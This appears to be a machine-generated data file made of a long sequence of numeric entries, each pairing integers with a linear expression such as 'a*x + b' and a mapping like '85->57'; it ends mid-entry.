45 69737*x + 6145 95->95 111 77801*x + 4945 87->48 78 93761*x + 10437 85->57 109 20407*x + 4867 9->34 41 21589*x + 8034 85->98 93 78857*x + 5153 1->29 38 77491*x + 3702 83->93 98 93827*x + 13056 22->16 66 52267*x + 5242 75->92 51 30931*x + 1121 82->88 71 74521*x + 334 93->67 117 27067*x + 3409 78->24 65 74747*x + 7751 0->59 84 86369*x + 14775 38->24 65 99581*x + 12134 3->72 92 67961*x + 2999 65->76 124 53897*x + 3395 46->84 89 70769*x + 4523 75->8 49 93913*x + 8448 24->92 51 93253*x + 15582 93->64 70 14159*x + 448 57->82 40 86341*x + 13871 89->85 83 15937*x + 914 89->90 86 39373*x + 4757 39->39 113 81619*x + 2487 86->67 117 25523*x + 1326 93->98 93 45433*x + 4230 23->53 120 100703*x + 11512 9->49 68 58193*x + 1743 49->23 11 61483*x + 5006 71->85 83 58631*x + 976 18->62 103 57179*x + 762 52->94 125 20771*x + 2338 92->7 126 46639*x + 1756 68->89 107 73361*x + 5859 34->7 126 66617*x + 4949 63->58 35 34543*x + 3391 90->8 49 431*x + 1516 73->23 11 49451*x + 3871 70->21 9 17539*x + 4271 46->41 73 43159*x + 192 18->5 82 67933*x + 5067 84->71 37 54623*x + 8098 43->91 91 80107*x + 5681 29->5 82 102593*x + 15213 53->45 13 65011*x + 3321 30->25 52 98869*x + 11662 45->7 126 39509*x + 6354 5->84 89 63313*x + 1527 67->83 12 93809*x + 15910 94->43 105 2131*x + 295 38->39 113 96907*x + 12640 82->20 62 14779*x + 5812 9->37 114 56473*x + 4727 9->23 11 48611*x + 4323 99->74 55 22877*x + 7729 96->8 49 46093*x + 7361 19->72 92 11681*x + 5930 5->81 32 13313*x + 2768 92->33 122 43933*x + 5219 19->69 59 97301*x + 11493 30->9 115 70999*x + 5727 74->78 76 77263*x + 4977 36->0 33 80191*x + 1246 60->27 58 36293*x + 3640 42->34 41 4703*x + 1438 24->17 104 13513*x + 7669 18->97 108 69193*x + 5814 10->94 125 87011*x + 16375 43->97 108 56597*x + 170 24->45 13 104161*x + 14095 97->99 54 80209*x + 34 34->82 40 31627*x + 1916 5->99 54 22993*x + 5290 81->96 67 103393*x + 8814 25->15 63 13591*x + 3290 91->87 121 32579*x + 144 52->18 80 77261*x + 3085 90->57 109 42853*x + 6223 24->8 49 19421*x + 7965 58->32 69 11411*x + 668 3->27 58 65449*x + 2915 79->14 77 30047*x + 7807 87->93 98 92753*x + 12214 44->38 75 102911*x + 14321 9->87 121 13451*x + 7241 51->37 114 48871*x + 5537 81->35 88 101929*x + 11556 57->56 119 809*x + 4517 27->88 71 13219*x + 6726 71->75 56 223*x + 1127 1->45 13 50581*x + 4302 72->34 41 43609*x + 2410 26->4 48 15683*x + 2412 37->24 65 2003*x + 2134 80->7 126 15137*x + 6954 74->50 116 103177*x + 8485 54->98 93 509*x + 1984 1->54 94 89917*x + 13260 48->19 61 59221*x + 6068 77->9 115 88903*x + 11219 88->68 36 16547*x + 3538 90->48 78 57487*x + 2818 51->82 40 72689*x + 576 96->83 12 78583*x + 5029 25->9 115 46589*x + 6745 79->23 11 67153*x + 5471 94->64 70 19507*x + 1688 27->14 77 63353*x + 1304 61->70 57 50461*x + 6708 84->74 55 57803*x + 5943 44->55 39 22093*x + 2906 60->46 74 50287*x + 922 48->61 10 53147*x + 3846 13->54 94 98953*x + 9932 92->70 57 9293*x + 45 49->83 12 19993*x + 6109 60->5 82 63241*x + 2357 43->83 12 91873*x + 10760 75->31 47 26641*x + 5872 5->16 66 102013*x + 10549 19->95 111 75323*x + 1309 66->11 43 94441*x + 9219 96->81 32 19559*x + 1307 88->87 121 16979*x + 4830 0->19 61 89681*x + 8309 84->8 49 46769*x + 2010 75->88 71 24763*x + 3514 6->84 89 71443*x + 5793 23->58 35 58367*x + 2424 14->31 47 9857*x + 3760 96->48 78 51199*x + 7925 29->62 103 43541*x + 5511 55->96 67 32077*x + 985 16->14 77 40897*x + 7731 99->55 39 22159*x + 6837 32->22 64 63647*x + 4673 43->6 123 95701*x + 11969 64->61 10 32987*x + 7676 31->38 75 69593*x + 2030 8->72 92 44533*x + 5222 84->11 43 60029*x + 2187 91->60 85 113*x + 5080 18->1 112 89153*x + 13476 15->70 57 49783*x + 4122 63->61 10 54401*x + 1497 14->84 89 88003*x + 14541 15->7 126 13327*x + 5718 41->37 114 73867*x + 729 50->0 33 75721*x + 1980 23->98 93 65309*x + 2909 8->58 35 15013*x + 2203 12->30 96 42821*x + 6776 99->77 106 34961*x + 3851 82->59 84 87337*x + 13718 6->87 121 68581*x + 1671 11->33 122 35851*x + 1846 99->66 44 65633*x + 7631 22->11 43 91297*x + 8663 67->17 104 52579*x + 5192 59->83 12 86291*x + 12673 60->60 85 64319*x + 4513 98->76 124 68371*x + 5130 32->57 109 98597*x + 15613 48->42 87 58991*x + 3120 38->96 67 47819*x + 3591 43->28 50 59729*x + 1034 81->5 82 45763*x + 6066 94->31 47 36061*x + 1564 62->65 95 30637*x + 4211 24->25 52 20389*x + 4984 70->16 66 81551*x + 5392 40->29 38 65927*x + 5519 51->5 82 28057*x + 7806 86->18 80 49757*x + 1198 23->48 78 8923*x + 19 30->31 47 93553*x + 13204 60->3 118 24877*x + 3346 10->14 77 40559*x + 7035 8->44 45 30497*x + 3295 40->26 81 39409*x + 5673 52->84 89 25147*x + 2183 28->65 95 81239*x + 1387 82->70 57 27457*x + 5181 91->48 78 31121*x + 1782 8->49 68 647*x + 5547 3->18 80 91571*x + 14917 78->71 37 81019*x + 6628 52->88 71 49801*x + 6244 72->89 107 95021*x + 12577 40->13 99 51157*x + 7556 2->44 45 79801*x + 6895 35->55 39 23911*x + 3844 95->12 101 1723*x + 2716 92->84 89 80747*x + 5779 20->46 74 33521*x + 5770 68->66 44 79699*x + 543 1->48 78 44531*x + 6074 34->36 79 72227*x + 6661 77->41 73 60013*x + 1824 40->83 12 4787*x + 1529 60->82 40 63179*x + 5536 89->86 53 42169*x + 5932 55->34 41 44491*x + 6024 57->37 114 102563*x + 8439 40->65 95 5531*x + 7989 43->8 49 1123*x + 6311 52->35 88 54217*x + 7615 93->55 39 47699*x + 6481 34->86 53 3089*x + 6748 64->59 84 46643*x + 4051 46->33 122 23497*x + 2371 6->60 85 15373*x + 5195 73->91 91 5237*x + 5561 28->39 113 45179*x + 54 83->23 11 73309*x + 5649 37->80 110 49391*x + 2305 45->86 53 32573*x + 7303 26->40 34 311*x + 5802 36->50 116 61687*x + 463 77->73 102 1901*x + 2919 81->48 78 62597*x + 210 64->29 38 102679*x + 10050 5->52 42 4139*x + 90 45->3 118 11057*x + 3402 45->45 13 95561*x + 13632 46->58 35 98779*x + 9451 73->66 44 66377*x + 6 49->69 59 4057*x + 1851 61->7 126 99523*x + 12352 45->11 43 104311*x + 10595 17->20 62 90977*x + 12156 2->6 123 43943*x + 7762 44->83 12 13217*x + 4333 31->8 49 69011*x + 3755 66->79 100 63773*x + 5258 68->86 53 58831*x + 4389 83->35 88 78797*x + 1544 19->86 53 65173*x + 3601 97->15 63 32957*x + 1920 40->66 44 58321*x + 830 88->46 74 92707*x + 10700 78->49 68 47279*x + 1064 73->61 10 52783*x + 3596 38->3 118 28051*x + 3913 14->21 9 88261*x + 12584 48->11 43 102001*x + 9836 56->40 34 38449*x + 5165 8->94 125 98407*x + 11100 53->22 64 67273*x + 5861 63->14 77 87991*x + 16185 36->47 90 81527*x + 4616 77->2 72 479*x + 6865 90->83 12 52733*x + 7059 74->35 88 6949*x + 5572 5->93 98 39679*x + 2157 13->20 62 15227*x + 5196 68->5 82 79687*x + 8138 20->93 98 40771*x + 6284 42->27 58 51719*x + 4626 42->40 34 21559*x + 243 53->85 83 2459*x + 3699 57->64 70 87119*x + 15204 29->10 46 71293*x + 6651 72->69 59 13627*x + 2375 97->20 62 25621*x + 2443 31->7 126 52289*x + 3379 37->72 92 82463*x + 7362 51->91 91 41143*x + 7195 16->12 101 69439*x + 3502 33->56 119 64157*x + 2279 25->92 51 95071*x + 15715 10->64 70 95213*x + 15734 86->53 120 23603*x + 3020 64->49 68 63719*x + 7093 71->47 90 34147*x + 6015 94->88 71 17351*x + 109 3->52 42 20509*x + 1416 79->35 88 41183*x + 4739 74->70 57 1949*x + 2579 9->61 10 7211*x + 6983 51->92 51 50417*x + 2156 79->98 93 16481*x + 1357 59->12 101 46441*x + 2249 37->41 73 51487*x + 948 62->43 105 93491*x + 14617 77->92 51 92507*x + 11208 56->34 41 48809*x + 7382 67->42 87 38903*x + 68 85->77 106 75329*x + 327 98->64 70 47087*x + 3995 98->48 78 44563*x + 7534 0->7 126 91249*x + 9276 10->49 68 79967*x + 1342 11->26 81 36973*x + 8080 68->67 117 64717*x + 1314 51->39 113 24083*x + 1626 95->86 53 3449*x + 3900 79->45 13 79411*x + 4890 22->94 125 47381*x + 856 36->91 91 16187*x + 6608 16->46 74 26821*x + 883 62->80 110 24953*x + 3157 22->79 100 48497*x + 1714 88->1 112 47431*x + 2523 65->78 76 62351*x + 7261 37->36 79 63421*x + 1454 65->54 94 70573*x + 5853 49->70 57 14087*x + 5247 17->42 87 98947*x + 14312 47->20 62 601*x + 664 75->1 112 35311*x + 1966 70->98 93 75037*x + 2144 69->75 56 89501*x + 15438 75->43 105 13121*x + 1661 67->55 39 9203*x + 3505 38->71 37 35993*x + 333 84->2 72 71411*x + 5956 41->9 115 4507*x + 7255 62->59 84 65063*x + 5504 66->97 108 88721*x + 15843 40->81 32 52361*x + 7372 51->75 56 36319*x + 805 25->21 9 75571*x + 2246 28->9 115 45317*x + 3456 38->57 109 45887*x + 2161 57->80 110 92767*x + 15556 33->9 115 22171*x + 3010 22->5 82 2237*x + 3894 26->50 116 41957*x + 5757 57->6 123 32917*x + 738 28->77 106 61333*x + 7535 17->77 106 64553*x + 7245 66->7 126 97843*x + 14559 83->5 82 13789*x + 222 44->95 111 40577*x + 1928 96->93 98 74311*x + 6213 55->23 11 103357*x + 13388 2->31 47 90917*x + 13672 50->78 76 12637*x + 6407 22->9 115 49681*x + 5728 56->82 40 103387*x + 9313 85->75 56 60083*x + 6089 19->97 108 59699*x + 4713 99->47 90 4999*x + 2765 58->99 54 40493*x + 3014 99->38 75 93601*x + 12042 70->76 124 63611*x + 5874 53->7 126 100591*x + 14071 0->20 62 36923*x + 7508 34->9 115 5449*x + 1495 18->68 36 49339*x + 1955 47->67 117 76603*x + 5741 77->62 103 83561*x + 5952 66->96 67 11069*x + 940 37->96 67 94547*x + 12800 25->41 73 76541*x + 225 65->72 92 25339*x + 596 50->95 111 98689*x + 8757 24->10 46 58771*x + 1797 35->26 81 68531*x + 5336 52->79 100 50707*x + 1119 94->39 113 347*x + 1811 90->97 108 33827*x + 4305 61->67 117 39839*x + 644 89->55 39 45979*x + 8171 19->43 105 47599*x + 5961 60->94 125 98887*x + 15736 59->26 81 32839*x + 3249 30->91 91 74561*x + 3486 0->63 60 96703*x + 14765 83->45 13 63607*x + 4227 72->22 64 59011*x + 4978 16->25 52 100649*x + 9245 23->59 84 98419*x + 14788 26->3 118 49811*x + 3473 1->31 47 32189*x + 320 47->93 98 7933*x + 457 83->65 95 56671*x + 5602 59->71 37 59387*x + 4832 31->23 11 2579*x + 6078 59->95 111 41813*x + 641 47->26 81 81071*x + 3764 53->82 40 9511*x + 3899 25->28 50 48541*x + 7814 0->29 38 73939*x + 7800 64->76 124 96697*x + 12948 35->48 78 60217*x + 7715 34->77 106 9007*x + 2568 63->64 70 91129*x + 10169 49->99 54 101021*x + 9674 53->59 84 12791*x + 4777 99->36 79 12911*x + 566 54->62 103 23957*x + 7899 96->68 36 29383*x + 6127 69->26 81 24239*x + 4101 36->61 10 80263*x + 7738 65->47 90 2963*x + 2464 66->34 41 101467*x + 13255 3->16 66 35149*x + 3126 13->97 108 12713*x + 4501 51->78 76 23099*x + 3453 80->24 65 44269*x + 6959 65->51 97 52879*x + 2688 25->27 58 100189*x + 15524 78->8 49 72253*x + 7499 69->84 89 51659*x + 5612 87->8 49 73609*x + 7222 57->91 91 88681*x + 9376 25->14 77 26927*x + 6976 28->32 69 18701*x + 3752 91->35 88 50989*x + 6065 39->76 124 6637*x + 7491 46->74 55 16001*x + 636 82->3 118 66643*x + 616 18->72 92 71119*x + 6967 39->5 82 88007*x + 14916 40->90 86 30983*x + 7874 7->2 72 13339*x + 4625 50->50 116 12163*x + 2941 56->89 107 99871*x + 11947 69->46 74 23719*x + 1077 35->50 116 66943*x + 5825 52->21 9 51217*x + 7022 4->25 52 42437*x + 258 44->23 11 42023*x + 2064 18->19 61 97771*x + 9959 94->35 88 52363*x + 115 69->34 41 103993*x + 15505 91->69 59 11497*x + 7287 41->35 88 67187*x + 7855 87->33 122 13669*x + 7897 22->50 116 23689*x + 3071 92->78 76 42929*x + 1191 13->75 56 56239*x + 4844 39->67 117 55021*x + 2252 49->98 93 28649*x + 294 79->29 38 88607*x + 14183 1->27 58 41681*x + 5021 61->81 32 50683*x + 5147 35->43 105 100693*x + 10497 32->65 95 72077*x + 3353 53->18 80 11867*x + 7579 21->34 41 25867*x + 5254 37->75 56 30223*x + 6470 11->11 43 68489*x + 1444 78->31 47 39671*x + 5916 35->17 104 26017*x + 1738 90->92 51 72901*x + 7106 92->59 84 27673*x + 3803 72->79 100 61151*x + 1613 7->98 93 92111*x + 16186 82->10 46 15187*x + 6987 59->24 65 17789*x + 2034 61->1 112 15439*x + 179 43->52 42 84811*x + 11022 46->10 46 9473*x + 1255 62->28 50 7283*x + 6716 14->26 81 88019*x + 13034 9->11 43 75013*x + 1277 5->63 60 56477*x + 1712 85->34 41 30181*x + 3063 13->22 64 18661*x + 4878 85->74 55 13759*x + 7099 69->65 95 10853*x + 2622 56->95 111 70123*x + 5069 81->12 101 46831*x + 7256 38->95 111 86531*x + 11876 6->67 117 92003*x + 8734 46->32 69 93787*x + 10218 78->72 92 16069*x + 2853 54->37 114 19069*x + 335 85->64 70 39359*x + 3021 70->54 94 53881*x + 7458 86->7 126 40163*x + 6657 93->32 69 17021*x + 1912 97->7 126 82051*x + 344 30->96 67 28279*x + 2497 29->99 54 14009*x + 4162 19->62 103 32401*x + 6494 41->96 67 14369*x + 2990 33->66 44 17359*x + 5794 17->6 123 76157*x + 1682 74->80 110 18593*x + 5367 23->92 51 89069*x + 14446 0->27 58 96739*x + 13878 27->86 53 79669*x + 5407 50->39 113 83719*x + 3280 2->48 78 11719*x + 5160 33->22 64 17117*x + 431 82->89 107 15959*x + 6322 70->19 61 10253*x + 3637 86->99 54 53069*x + 3885 43->7 126 33053*x + 588 78->52 42 3163*x + 3786 87->24 65 67577*x + 2668 96->22 64 8599*x + 2043 3->19 61 90823*x + 9265 99->82 40 65029*x + 6003 90->58 35 48661*x + 4249 99->88 71 33503*x + 6898 21->7 126 83477*x + 961 44->84 89 89443*x + 15663 25->12 101 55217*x + 3454 27->22 64 51481*x + 7213 3->36 79 95737*x + 10601 67->8 49 17341*x + 4263 72->81 32 44281*x + 6177 39->85 83 13619*x + 7193 27->99 54 78101*x + 7969 6->99 54 6733*x + 497 16->74 55 33769*x + 6992 84->52 42 1153*x + 369 57->89 107 33359*x + 6744 35->86 53 17191*x + 3418 83->12 101 5077*x + 2493 27->70 57 56311*x + 6647 40->25 52 8663*x + 4951 16->52 42 13997*x + 3943 70->61 10 92237*x + 9261 2->99 54 43867*x + 6221 73->11 43 41047*x + 4786 64->2 72 2797*x + 4874 80->96 67 271*x + 5607 70->2 72 46549*x + 1185 99->72 92 18013*x + 6711 73->62 103 53453*x + 7209 23->87 121 62987*x + 3265 7->49 68 7703*x + 7833 54->26 81 11987*x + 3548 5->65 95 104147*x + 11906 98->67 117 30059*x + 5442 98->61 10 77047*x + 1540 68->84 89 10891*x + 3101 74->62 103 44587*x + 3190 82->31 47 60869*x + 3713 81->89 107 69001*x + 4514 94->67 117 11933*x + 5669 87->99 54 62297*x + 8071 77->90 86 98081*x + 11442 38->6 123 92383*x + 10403 37->22 64 94823*x + 9623 58->30 96 40193*x + 4847 89->3 118 57529*x + 1888 29->66 44 78919*x + 2262 36->64 70 1583*x + 2739 1->12 101 11699*x + 3149 52->3 118 11213*x + 6547 8->31 47 10007*x + 3509 29->58 35 16223*x + 4914 21->96 67 15991*x + 3471 24->69 59 98227*x + 15390 3->79 100 39521*x + 1832 64->88 71 84503*x + 10226 28->17 104 83003*x + 7405 55->31 47 87743*x + 11780 45->19 61 23671*x + 6950 21->73 102 28537*x + 3141 64->34 41 94273*x + 14540 35->57 109 101383*x + 11790 13->45 13 60631*x + 4014 23->35 88 78233*x + 4095 6->22 64 78317*x + 1621 70->68 36 32141*x + 4173 52->46 74 61631*x + 4808 77->36 79 66763*x + 10 20->90 86 42839*x + 1829 28->33 122 23053*x + 6424 81->67 117 17623*x + 89 71->13 99 79063*x + 436 47->16 66 23197*x + 407 62->8 49 13721*x + 559 53->64 70 92857*x + 12226 30->15 63 70729*x + 5524 29->82 40 29243*x + 5228 84->96 67 97387*x + 10523 67->9 115 91457*x + 14456 96->38 75 84131*x + 15559 9->13 99 29269*x + 1268 62->64 70 42793*x + 5635 96->89 107 65551*x + 6579 4->18 80 101501*x + 13299 12->33 122 28751*x + 2899 94->78 76 10333*x + 317 4->39 113 42293*x + 4834 0->97 108 26393*x + 3123 59->18 80 79823*x + 2841 78->30 96 28403*x + 1044 49->59 84 76607*x + 7449 16->56 119 18191*x + 6996 61->68 36 62873*x + 7306 30->34 41 65827*x + 2711 91->27 58 81943*x + 4255 63->80 110 65707*x + 6357 79->62 103 20327*x + 1110 20->63 60 63907*x + 6821 61->16 66 32251*x + 5617 81->7 126 31247*x + 3102 34->15 63 8243*x + 5756 83->74 55 35617*x + 6610 57->71 37 25031*x + 6555 95->51 97 15427*x + 5139 84->97 108 48487*x + 357 49->11 43 32713*x + 4100 88->35 88 70237*x + 6747 65->3 118 19427*x + 7681 36->93 98 73477*x + 5271 6->47 90 59023*x + 3483 32->45 13 89417*x + 15948 93->35 88 26633*x + 1833 47->49 68 58099*x + 6811 91->30 96 42571*x + 4693 90->24 65 35809*x + 4468 16->1 112 42391*x + 356 23->7 126 65881*x + 874 78->17 104 23291*x + 3587 3->77 106 60457*x + 5217 5->28 50 3119*x + 519 36->12 101 56957*x + 3614 20->84 89 4831*x + 2783 42->58 35 71699*x + 842 56->14 77 74027*x + 6692 79->39 113 12527*x + 7403 44->4 48 56009*x + 3287 78->53 120 97651*x + 14660 12->6 123 14843*x + 6279 40->46 74 1427*x + 6596 18->38 75 38183*x + 913 64->95 111 42649*x + 94 72->93 98 47149*x + 1460 19->91 91 12757*x + 2315 31->11 43 28859*x + 6864 85->58 35 62723*x + 2506 57->99 54 79943*x + 3374 85->1 112 56207*x + 1494 75->59 84 35089*x + 512 73->51 97 84979*x + 8342 97->85 83 59377*x + 722 64->71 37 35899*x + 6064 67->39 113 21841*x + 6399 49->9 115 82837*x + 1310 98->68 36 269*x + 6907 1->30 96 38593*x + 4800 37->92 51 35533*x + 5521 77->64 70 54779*x + 430 6->32 69 66047*x + 6429 86->33 122 72167*x + 300 61->31 47 65929*x + 7873 82->94 125 80627*x + 4205 27->80 110 63949*x + 239 23->64 70 17029*x + 2344 73->92 51 40231*x + 917 94->12 101 50077*x + 4261 66->92 51 82153*x + 3827 47->96 67 8101*x + 2436 55->12 101 22613*x + 4374 98->63 60 32423*x + 5553 12->38 75 68903*x + 3952 73->34 41 66037*x + 876 55->42 87 42773*x + 6241 36->53 120 74611*x + 3275 53->68 36 33391*x + 1926 83->57 109 18439*x + 6845 37->7 126 9421*x + 4929 52->61 10 57259*x + 510 16->41 73 47903*x + 6617 4->94 125 95231*x + 8999 1->79 100 90511*x + 15160 77->38 75 32797*x + 4885 17->14 77 93923*x + 15756 41->2 72 97177*x + 14728 28->0 33 82531*x + 3234 16->68 36 98773*x + 10584 13->51 97 29741*x + 5433 23->30 96 69623*x + 1459 29->73 102 36037*x + 6315 53->65 95 21503*x + 5423 46->47 90 86011*x + 12633 10->85 83 91121*x + 8817 5->87 121 50591*x + 1405 12->81 32 88807*x + 9720 9->17 104 22543*x + 387 99->81 32 28447*x + 5850 18->61 10 2731*x + 4140 51->85 83 76343*x + 4947 94->92 51 90703*x + 11581 62->4 48 94573*x + 15798 78->66 44 68749*x + 1353 90->62 103 8999*x + 4038 9->79 100 35603*x + 7926 47->57 109 4211*x + 4180 9->88 71 89891*x + 12388 53->3 118 20611*x + 6361 77->80 110 15913*x + 703 76->78 76 19583*x + 81 32->27 58 53113*x + 1848 15->47 90 95813*x + 12100 33->84 89 72223*x + 4196 83->4 48 90397*x + 15150 94->56 119 11839*x + 401 19->0 33 88657*x + 12378 84->95 111 70607*x + 13 68->98 93 739*x + 3807 1->35 88 67247*x + 1979 92->66 44 86509*x + 12919 1->20 62 30893*x + 671 40->50 116 100357*x + 11489 63->69 59 59159*x + 7742 7->82 40 34649*x + 8044 66->90 86 49333*x + 2957 15->21 9 54907*x + 377 95->46 74 68491*x + 6153 62->25 52 79907*x + 1457 68->61 10 89041*x + 14944 37->60 85 19387*x + 6529 0->93 98 39953*x + 8015 85->30 96 97607*x + 10656 38->28 50 89989*x + 8497 19->87 121 43049*x + 4865 53->75 56 54799*x + 6228 21->58 35 14951*x + 5491 39->70 57 32971*x + 5866 3->24 65 34337*x + 8019 23->94 125 17299*x + 3875 11->15 63 63419*x + 6569 35->78 76 79423*x + 1588 38->98 93 3769*x + 1299 41->16 66 71191*x + 3663 34->95 111 97931*x + 10165 9->51 97 85933*x + 12941 53->25 52 87223*x + 9926 58->13 99 35153*x + 140 75->67 117 47917*x + 3922 23->55 39 88427*x + 13218 60->72 92 59263*x + 6294 76->27 58 40543*x + 7812 19->63 60 69031*x + 542 62->69 59 41507*x + 2738 98->25 52 72353*x + 5560 95->61 10 77513*x + 7635 13->61 10 19531*x + 7890 71->29 38 503*x + 7012 64->66 44 8269*x + 1919 50->80 110 90481*x + 11358 92->53 120 69833*x + 6990 58->35 88 77813*x + 3880 34->24 65 31193*x + 6182 97->40 34 11239*x + 4980 73->93 98 82567*x + 3070 20->23 11 31307*x + 2647 23->56 119 44029*x + 39 85->88 71 47527*x + 1389 58->36 79 59929*x + 5951 82->34 41 38977*x + 5639 73->21 9 1039*x + 6366 62->41 73 56053*x + 235 10->92 51 98321*x + 11168 25->77 106 49877*x + 3552 34->8 49 75289*x + 2751 43->57 109 48991*x + 5678 86->68 36 85513*x + 13673 32->81 32 18839*x + 1184 55->66 44 22921*x + 3448 42->43 105 51361*x + 6592 95->0 33 41983*x + 5053 96->44 45 2707*x + 2852 14->93 98 65123*x + 4826 18->52 42 104593*x + 14894 59->60 85 85991*x + 12056 19->56 119 63901*x + 477 45->50 116 7867*x + 6616 92->15 63 85829*x + 11231 2->54 94 17027*x + 3062 52->83 12 42557*x + 4708 59->85 83 100057*x + 9375 76->29 38 17053*x + 864 60->41 73 23087*x + 2609 22->91 91 53717*x + 2499 42->90 86 26183*x + 3872 81->72 92 34261*x + 1047 31->32 69 66749*x + 7033 22->26 81 93851*x + 16130 12->99 54 33013*x + 4590 80->10 46 1109*x + 5818 22->99 54 23773*x + 2705 86->31 47 41*x + 7374 53->26 81 95891*x + 10366 18->34 41 59879*x + 4988 19->39 113 6983*x + 2496 2->53 120 91183*x + 15882 3->92 51 63199*x + 6401 70->70 57 43801*x + 5333 69->33 122 99901*x + 8280 64->26 81 44267*x + 6409 6->81 32 29947*x + 1559 49->62 103 30869*x + 6884 54->65 95 88861*x + 9742 17->79 100 79697*x + 3067 57->92 51 63473*x + 809 76->24 65 102793*x + 15832 84->94 125 40531*x + 6331 15->82 40 4523*x + 3645 65->82 40 569*x + 7532 85->46 74 4157*x + 2665 33->1 112 37879*x + 1362 0->80 110 90617*x + 8215 39->91 91 91127*x + 15499 25->1 112 39847*x + 4279 34->19 61 31957*x + 3589 25->74 55 2803*x + 4892 81->95 111 66629*x + 1520 68->39 113 43961*x + 2439 5->57 109 41843*x + 1265 28->75 56 102023*x + 8316 12->36 79 46133*x + 3116 47->40 34 102019*x + 13715 79->12 101 64579*x + 3420 96->80 110 88589*x + 12575 5->47 90 8233*x + 4356 19->66 44 2939*x + 3061 62->88 71 53377*x + 6518 75->72 92 50021*x + 4853 72->26 81 76103*x + 4524 34->55 39 47629*x + 7748 32->37 114 87281*x + 12790 41->85 83 34471*x + 460 40->64 70 1721*x + 4527 33->87 121 70489*x + 4679 75->60 85 14489*x + 5955 44->63 60 38923*x + 7571 43->61 10 59021*x + 4292 52->90 86 58171*x + 3206 31->54 94 83701*x + 2947 97->95 111 55009*x + 6750 88->74 55 61673*x + 4868 44->58 35 86743*x + 11112 28->68 36 14173*x + 6640 37->59 84 84443*x + 13648 98->32 69 7541*x + 5204 91->22 64 47543*x + 1709 95->63 60 48299*x + 6676 98->86 53 17971*x + 4712 2->62 103 99817*x + 12357 32->23 11 39703*x + 177 59->87 121 30319*x + 4331 72->23 11 18731*x + 7296 13->66 44 20747*x + 8125 9->21 9 6427*x + 4210 68->70 57 36479*x + 141 20->16 66 89021*x + 12138 39->82 40 11887*x + 4857 87->76 124 89107*x + 8787 64->39 113 13921*x + 358 71->84 89 46273*x + 3833 86->40 34 7789*x + 971 20->2 72 10159*x + 2153 78->11 43 84389*x + 8915 63->59 84 48179*x + 5221 48->87 121 18289*x + 7136 89->45 13 75227*x + 3835 49->42 87 95621*x + 12115 83->30 96 72727*x + 4111 41->3 118 60293*x + 6753 92->68 36 99991*x + 12930 12->78 76 9811*x + 4473 41->97 108 97381*x + 11744 79->83 12 103561*x + 14716 70->64 70 69221*x + 1940 68->37 114 7907*x + 7753 51->0 33 48281*x + 7373 23->52 42 19739*x + 6682 44->5 82 82883*x + 967 63->1 112 67943*x + 4267 68->80 110 69497*x + 4915 67->85 83 52673*x + 7152 15->81 32 51307*x + 5332 13->57 109 62003*x + 2838 41->17 104 87257*x + 9064 19->1 112 91591*x + 10064 61->90 86 59887*x + 5685 33->12 101 49463*x + 5047 2->27 58 64663*x + 2492 11->65 95 80039*x + 712 22->47 90 88423*x + 10107 62->97 108 41543*x + 5643 10->4 48 60757*x + 4596 20->29 38 68279*x + 7462 63->36 79 64679*x + 6664 97->47 90 73351*x + 4691 30->43 105 54049*x + 1803 78->25 52 72533*x + 6106 23->54 94 37799*x + 6881 91->19 61 52981*x + 3586 34->97 108 36877*x + 1213 54->14 77 55291*x + 3744 21->81 32 94219*x + 13349 15->77 106 65951*x + 610 51->1 112 27103*x + 7291 26->55 39 91631*x + 11854 8->40 34 61927*x + 4041 49->6 123 17093*x + 2048 18->82 40 40499*x + 4220 99->86 53 76883*x + 6100 56->25 52 21587*x + 3961 87->88 71 24977*x + 4332 7->74 55 33767*x + 6493 89->37 114 34429*x + 1239 69->22 64 85259*x + 12218 82->72 92 6563*x + 6671 55->25 52 49667*x + 6475 8->70 57 71153*x + 6677 51->76 124 6287*x + 7014 21->41 73 62401*x + 1705 18->17 104 44017*x + 3865 67->21 9 91921*x + 14787 3->26 81 39461*x + 6461 70->75 56 44497*x + 1650 10->87 121 24371*x + 5995 69->35 88 2129*x + 4102 22->42 87 43189*x + 7854 28->5 82 49787*x + 3569 5->94 125 53773*x + 394 72->7 126 52391*x + 1458 18->70 57 71593*x + 1178 99->56 119 83813*x + 660 33->3 118 82507*x + 2044 87->45 13 83459*x + 844 35->40 34 88411*x + 10931 52->33 122 71453*x + 2560 13->64 70 33601*x + 1071 89->17 104 56807*x + 4512 23->88 71 81749*x + 8036 9->77 106 84701*x + 10319 87->1 112 56101*x + 6358 28->62 103 103703*x + 12434 17->56 119 32083*x + 1100 82->0 33 2749*x + 665 56->99 54 104473*x + 11421 60->4 48 34673*x + 4349 0->53 120 69191*x + 4703 70->57 109 86719*x + 15517 80->47 90 30817*x + 5169 65->64 70 74761*x + 2131 72->59 84 83023*x + 2815 71->50 116 28657*x + 1441 74->19 61 19763*x + 3524 83->99 54 63487*x + 1451 8->10 46 11243*x + 472 62->61 10 85619*x + 15980 3->96 67 44453*x + 657 48->66 44 48799*x + 5813 94->17 104 68473*x + 8062 7->36 79 94331*x + 9196 45->81 32 5279*x + 8009 65->96 67 10987*x + 7271 71->52 42 60161*x + 659 7->24 65 65353*x + 6694 10->31 47 72379*x + 2935 98->30 96 8609*x + 6893 26->21 9 98257*x + 9853 77->85 83 61751*x + 490 62->71 37 82499*x + 759 24->68 36 50873*x + 3455 76->67 117 34303*x + 1639 4->91 91 95257*x + 9309 96->50 116 95911*x + 15620 24->26 81 30859*x + 2106 72->47 90 239*x + 2582 54->91 91 82007*x + 1882 31->79 100 14029*x + 7693 54->17 104 4759*x + 2406 98->91 91 86077*x + 16327 41->15 63 23131*x + 4054 50->23 11 71333*x + 4324 17->19 61 84163*x + 14653 63->51 97 96353*x + 13717 22->46 74 99551*x + 14654 25->89 107 10133*x + 1571 49->94 125 38891*x + 7073 38->12 101 9391*x + 937 73->95 111 31033*x + 4581 52->20 62 28211*x + 4741 51->57 109 69473*x + 3959 99->84 89 8779*x + 7486 70->60 85 13879*x + 3918 60->17 104 12281*x + 4053 76->75 56 17159*x + 1208 2->2 72 41131*x + 4576 29->31 47 94949*x + 10135 83->40 34 12841*x + 1051 46->63 60 95527*x + 12931 38->77 106 46819*x + 1707 95->75 56 18797*x + 1117 37->52 42 18397*x + 4115 94->27 58 87683*x + 14965 8->9 115 15881*x + 180 32->72 92 74873*x + 4414 15->0 33 24517*x + 6963 4->2 72 82031*x + 1037 79->26 81 89591*x + 12708 2->11 43 27941*x + 667 0->90 86 31253*x + 999 43->0 33 90863*x + 8859 20->59 84 24989*x + 6612 55->33 122 6971*x + 7134 51->49 68 75377*x + 3098 86->71 37 29863*x + 6978 44->81 32 42533*x + 1769 66->89 107 5351*x + 